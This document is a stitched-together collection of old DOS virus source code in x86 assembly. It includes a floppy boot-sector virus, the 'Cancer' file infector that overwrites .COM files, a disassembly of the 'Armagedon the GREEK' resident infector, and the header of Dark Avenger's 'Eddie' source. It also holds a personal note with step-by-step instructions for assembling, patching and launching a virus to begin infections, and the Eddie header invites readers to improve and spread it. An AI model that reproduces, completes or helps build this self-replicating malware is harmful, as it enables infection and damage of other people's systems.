db 0E8h, 0DFh, 0FFh, 26h, 8Bh, 35h
db 0E8h, 0EFh, 0FFh, 72h, 24h, 3Bh
db 0F5h, 73h, 20h, 50h, 26h, 8Ah
db 45h, 0F8h, 0F6h, 0D0h, 24h, 1Fh
db 75h, 14h, 26h, 3, 75h, 0FCh
db 26h, 87h, 35h, 26h, 1, 6Dh
db 0FCh, 0E8h, 0D0h, 0FFh, 26h, 29h
db 6Dh, 0FCh, 96h, 0ABh
loc_6:
pop ax
loc_7:
pop es
pop si
pop di
pop bp
retf 2 ; Return far
db 0E8h, 0C1h, 0FFh, 9Fh, 8Ah, 0C1h
db 24h, 1Fh
db 3Ch
data_4 db 1Fh
db 75h, 2, 32h, 0C8h
loc_8:
sahf ; Store ah into flags
jmp short loc_6 ; (01F6)
db 55h, 57h, 56h, 6, 0FCh, 8Bh
db 0ECh, 8Eh, 46h, 0Ah, 0BFh, 17h
db 1, 8Bh, 0F7h, 2Eh, 0A7h, 74h
db 22h, 80h, 0FCh, 3Fh, 74h, 0A1h
db 50h, 3Dh, 0, 57h, 74h, 0D1h
db 80h, 0FCh, 3Eh, 9Ch, 53h, 51h
db 52h, 1Eh, 74h, 1Bh, 3Dh, 0
db 4Bh, 74h, 11h
loc_9:
pop ds
pop dx
pop cx
pop bx
popf ; Pop flags
jz loc_6 ; Jump if zero
pop ax
pop es
pop si
pop di
pop bp
sub_4 proc near
jmp dword ptr cs:data_2e ; (7415:0004=0)
db 0B4h, 3Dh, 0CDh, 21h, 93h, 0E8h
db 55h, 0FFh, 72h, 0E5h, 33h, 0C9h
db 87h, 0CDh, 8Eh, 0DDh, 0BEh, 4Ch
db 0, 0ADh, 50h, 0ADh, 50h, 0B8h
db 24h, 25h, 50h, 0FFh, 74h, 40h
db 0FFh, 74h, 42h, 0Eh, 1Fh, 0BAh
db 67h, 0, 0CDh, 21h, 0C5h, 54h
db 0B0h, 0B0h, 13h, 0CDh, 21h, 6
db 1Fh, 89h, 2Dh, 88h, 6Dh, 0EDh
db 81h, 7Dh, 14h, 4Fh, 4Dh, 75h
db 34h, 8Bh, 55h, 0FCh, 2, 0F5h
db 80h, 0FEh, 4, 72h, 2Ah, 0F6h
db 45h, 0EFh, 4, 75h, 24h, 0C5h
db 75h, 0F2h, 38h, 6Ch, 4, 76h
db 8, 4Ah, 0D0h, 0EEh, 22h, 74h
db 4, 74h, 14h
loc_10:
mov ds,bp
mov dx,cx
call sub_2 ; (01C0)
mov si,dx
dec cx
locloop_11:
lodsb ; String [si] to al
cmp al,cs:data_6e[si] ; (7415:FE07=0)
jne loc_13 ; Jump if not equal
loop locloop_11 ; Loop if cx > 0
loc_12:
mov ah,3Eh ; '>'
call sub_3 ; (01C2)
pop ds
pop dx
pop ax
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
pop ds
pop dx
mov al,13h
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
jmp loc_9 ; (023C)
loc_13:
mov cx,dx
mov si,es:[di-4]
mov es:[di],si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov al,ds:data_1e ; (0000:0200=0)
push es
pop ds
mov [di-4],si
mov [di],bp
or byte ptr [di-8],1Fh
push cs
pop ds
mov data_4,al ; (7415:0207=1Fh)
mov dx,8
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
or byte ptr es:[di-0Fh],40h ; '@'
jmp short loc_12 ; (02BE)
sub_4 endp
data_5 db 2Ah
seg_a ends
end start
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH
NOP
;
PUSH DS ;DS=0 ; ES = DS
POP ES ;
;
MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
mov dx,newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,offset fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov [handle],ax ;Save handle
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF ;Read all bytes
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,buffer
mov cs:[eof],ax ;Save pointer to the end of file
xor cx,cx ;Go to file beginning
mov dx,cx
mov bx,cs:[handle]
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
mov dx,0 ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov bx,cs:[handle]
mov ah,40 ;Write to handle
int 21
close:
mov bx,cs:[handle]
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
mov dx,newdta
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov si,offset transf ;Move this part of code
mov cx,smalcod ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
armagedo proc far
start:
jmp loc_36 ; (0436)
armagedo endp
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
int_21h_entry proc far
pushf ; Push flags
cmp ah,0E0h
jne loc_2 ; Jump if not equal
mov ax,0DADAh
popf ; Pop flags
iret ; Interrupt return
int_21h_entry endp
loc_2:
cmp ah,0E1h
jne loc_3 ; Jump if not equal
mov ax,cs
popf ; Pop flags
iret ; Interrupt return
loc_3:
cmp ax,4B00h
je loc_5 ; Jump if equal
loc_4:
popf ; Pop flags
jmp dword ptr cs:data_4 ; (7415:0122=138Dh)
data_4 dd 7415138Dh
data_6 dd 7415022Bh
data_8 db 0
data_9 db 8
data_10 db 10h
data_11 db 9
data_12 db 34h
data_13 dw 0
db 0
data_14 db 0
data_15 db 0
data_16 db 0
db 43h, 4Fh, 4Dh
data_17 dw 5
data_18 dw 2
db 0, 0
data_19 dw 1301h
data_20 dw 1306h
data_21 dw 0FFFEh
data_22 dw 7415h
data_23 dw 3D5Bh
data_24 dw 20h
data_25 dw 0EC2h
data_26 dw 6E68h
db 0, 0, 81h, 0
data_27 dw 12ACh
db 5Ch, 0
data_28 dw 12ACh
db 6Ch, 0
data_29 dw 12ACh
loc_5:
push ds
push bx
push si
push cx
push ax
push dx
push bp
push es
push di
cld ; Clear direction
push dx
push ds
xor cx,cx ; Zero register
mov si,dx
loc_6:
mov al,[si]
cmp al,0
je loc_7 ; Jump if equal
inc cx
inc si
jmp short loc_6 ; (016C)
loc_7:
add dx,cx
sub dx,3
mov si,135h
mov di,dx
cmp byte ptr [di-3],4Eh ; 'N'
jne loc_8 ; Jump if not equal
cmp byte ptr [di-2],44h ; 'D'
je loc_11 ; Jump if equal
loc_8:
mov cx,3
locloop_9:
mov al,cs:[si]
cmp al,[di]
jne loc_11 ; Jump if not equal
inc si
inc di
loop locloop_9 ; Loop if cx > 0
pop ds
pop dx
push dx
push ds
mov si,dx
mov dl,0
cmp byte ptr [si+1],3Ah ; ':'
jne loc_10 ; Jump if not equal
mov dl,[si]
and dl,0Fh
loc_10:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
je loc_11 ; Jump if equal
jmp short loc_13 ; (01C5)
db 90h
loc_11:
jmp loc_19 ; (02F8)
jmp loc_20 ; (02FD)
loc_12:
jmp loc_17 ; (02C4)
jmp loc_18 ; (02CF)
loc_13:
cmp bx,3
jb loc_11 ; Jump if below
pop ds
pop dx
push ds
push dx
mov cs:data_22,ds ; (7415:0144=7415h)
mov cs:data_23,dx ; (7415:0146=3D5Bh)
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov cs:data_24,cx ; (7415:0148=20h)
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov cs:data_19,ax ; (7415:013E=1301h)
mov ax,cs
mov ds,ax
mov dx,541h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
pop dx
pop ds
mov ax,3D02h
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_12 ; Jump if carry Set
mov bx,ax
mov cs:data_17,ax ; (7415:0138=5)
mov cx,0FFFFh
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov dx,437h
mov ah,3Fh ; '?'
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_12 ; Jump if carry Set
mov cs:data_18,ax ; (7415:013A=2)
cmp ax,0E000h
ja loc_12 ; Jump if above
cmp ax,437h
jb loc_15 ; Jump if below
mov si,438h
add si,si
sub si,15h
mov cx,13h
mov di,524h
locloop_14:
mov al,[si]
mov ah,cs:[di]
cmp ah,al
jne loc_15 ; Jump if not equal
inc si
inc di
loop locloop_14 ; Loop if cx > 0
jmp short loc_17 ; (02C4)
db 90h
loc_15:
mov ax,4200h
mov bx,cs:data_17 ; (7415:0138=5)
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_17 ; Jump if carry Set
mov si,100h
mov cx,437h
xor di,di ; Zero register
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
locloop_16:
mov al,cs:[si]
mov [di],al
inc si
inc di
loop locloop_16 ; Loop if cx > 0
mov ax,5700h
mov bx,cs:data_17 ; (7415:0138=5)
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov cs:data_26,cx ; (7415:014C=6E68h)
mov cs:data_25,dx ; (7415:014A=0EC2h)
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov si,437h
mov al,[si]
add al,0Bh
mov [si],al
xor dx,dx ; Zero register
mov cx,cs:data_18 ; (7415:013A=2)
add cx,437h
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov cx,cs:data_26 ; (7415:014C=6E68h)
mov dx,cs:data_25 ; (7415:014A=0EC2h)
mov bx,cs:data_17 ; (7415:0138=5)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
loc_17:
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_18:
mov dx,80h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov ax,cs:data_19 ; (7415:013E=1301h)
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,cs:data_22 ; (7415:0144=7415h)
mov ds,ax
mov dx,cs:data_23 ; (7415:0146=3D5Bh)
mov ax,4301h
mov cx,cs:data_24 ; (7415:0148=20h)
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jmp short loc_20 ; (02FD)
db 90h
loc_19:
pop ds
pop dx
jmp short loc_20 ; (02FD)
db 90h
loc_20:
pop di
pop es
pop bp
pop dx
pop ax
pop cx
pop si
pop bx
pop ds
jmp loc_4 ; (011C)
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
int_08h_entry proc far
push bp
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
pushf ; Push flags
call cs:data_6 ; (7415:0126=22Bh)
call sub_1 ; (0365)
push cs
pop ds
mov ah,5
mov ch,data_10 ; (7415:012C=10h)
cmp ah,ch
ja loc_22 ; Jump if above
mov ah,6
cmp ah,ch
jb loc_22 ; Jump if below
mov ah,data_8 ; (7415:012A=0)
cmp ah,1
je loc_21 ; Jump if equal
mov ah,1
mov data_8,ah ; (7415:012A=0)
jmp short loc_22 ; (035B)
db 90h
loc_21:
call sub_2 ; (03CB)
inc data_13 ; (7415:012F=0)
mov ax,data_13 ; (7415:012F=0)
cmp ax,21Ch
jne loc_22 ; Jump if not equal
xor ax,ax ; Zero register
mov data_8,ah ; (7415:012A=0)
mov data_13,ax ; (7415:012F=0)
mov data_15,ah ; (7415:0133=0)
loc_22:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pop bp
iret ; Interrupt return
int_08h_entry endp
loc_36:
mov ah,0E0h
int 21h ; DOS Services ah=function E0h
cmp ax,0DADAh
jne loc_37 ; Jump if not equal
jmp loc_40 ; (04DB)
loc_37:
push cs
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_4,bx ; (7415:0122=138Dh)
mov word ptr data_4+2,es ; (7415:0124=7415h)
mov dx,103h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_6,bx ; (7415:0126=22Bh)
mov word ptr data_6+2,es ; (7415:0128=7415h)
mov dx,309h
mov ax,2508h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
mov data_10,ch ; (7415:012C=10h)
mov data_11,cl ; (7415:012D=9)
mov data_12,dh ; (7415:012E=34h)
mov ax,cs:data_1e ; (7415:002C=0)
mov ds,ax
xor si,si ; Zero register
loc_38:
mov al,[si]
cmp al,1
je loc_39 ; Jump if equal
inc si
jmp short loc_38 ; (0486)
loc_39:
inc si
inc si
mov dx,si
mov ax,cs
mov es,ax
mov bx,5Ah
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,cs:data_2e ; (7415:0081=0)
mov ax,cs
mov es,ax
mov cs:data_28,ax ; (7415:0156=12ACh)
mov cs:data_29,ax ; (7415:015A=12ACh)
mov cs:data_27,ax ; (7415:0152=12ACh)
mov ax,4B00h
mov cs:data_20,ss ; (7415:0140=1306h)
mov cs:data_21,sp ; (7415:0142=0FFFEh)
pushf ; Push flags
call cs:data_4 ; (7415:0122=138Dh)
mov ax,cs:data_20 ; (7415:0140=1306h)
mov ss,ax
mov ax,cs:data_21 ; (7415:0142=0FFFEh)
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537h
int 27h ; Terminate & stay resident
loc_40:
mov ah,0E1h
int 21h ; DOS Services ah=function E1h
mov si,4F3h
mov cs:[si+3],ax
mov ax,4F8h
mov cs:[si+1],ax
mov ax,cs:data_18 ; (7415:013A=2)
mov bx,cs
;* jmp far ptr loc_1 ;*(0000:0000)
db 0EAh, 0, 0, 0, 0
db 8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0
db 1, 0BFh, 37h, 5
locloop_41:
mov al,[di]
mov [si],al
inc si
inc di
loop locloop_41 ; Loop if cx > 0
mov si,51Fh
mov cs:[si+3],ds
mov al,byte ptr ds:[100h] ; (7415:0100=0E9h)
sub al,0Bh
mov byte ptr ds:[100h],al ; (7415:0100=0E9h)
mov ax,ds
mov es,ax
mov ss,ax
jmp far ptr start ; (0100)
db 'Armagedon the GREEK'
db 0D8h, 20h
seg_a ends
end start
OK, Rob - here ya' go. As I understand it, this is only one revision level
lower than the "current" version of the virus -- but I have no idea what the
differences are between the two. Sigh. TASM can be used to assemble the
code, then you can replace (using DEBUG) the first 3 bytes of the linked
.COM file to 9H 65 00 to jump to the start of the virus code. I have been
unable to cause the resulting executable to infect file on floppy until the
virus is run on a hard drive first. So, to begin infections (after
assembling/linking/editing the executable): 1) Run the modified executable,
2) Run a program on your hard drive. From there it will spread to files on
the hard drive and the floppy. FluShot+ makes a good monitor for watching
this virus at work. Have fun!
Thanks for your help, and thanks for a great weekend.
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
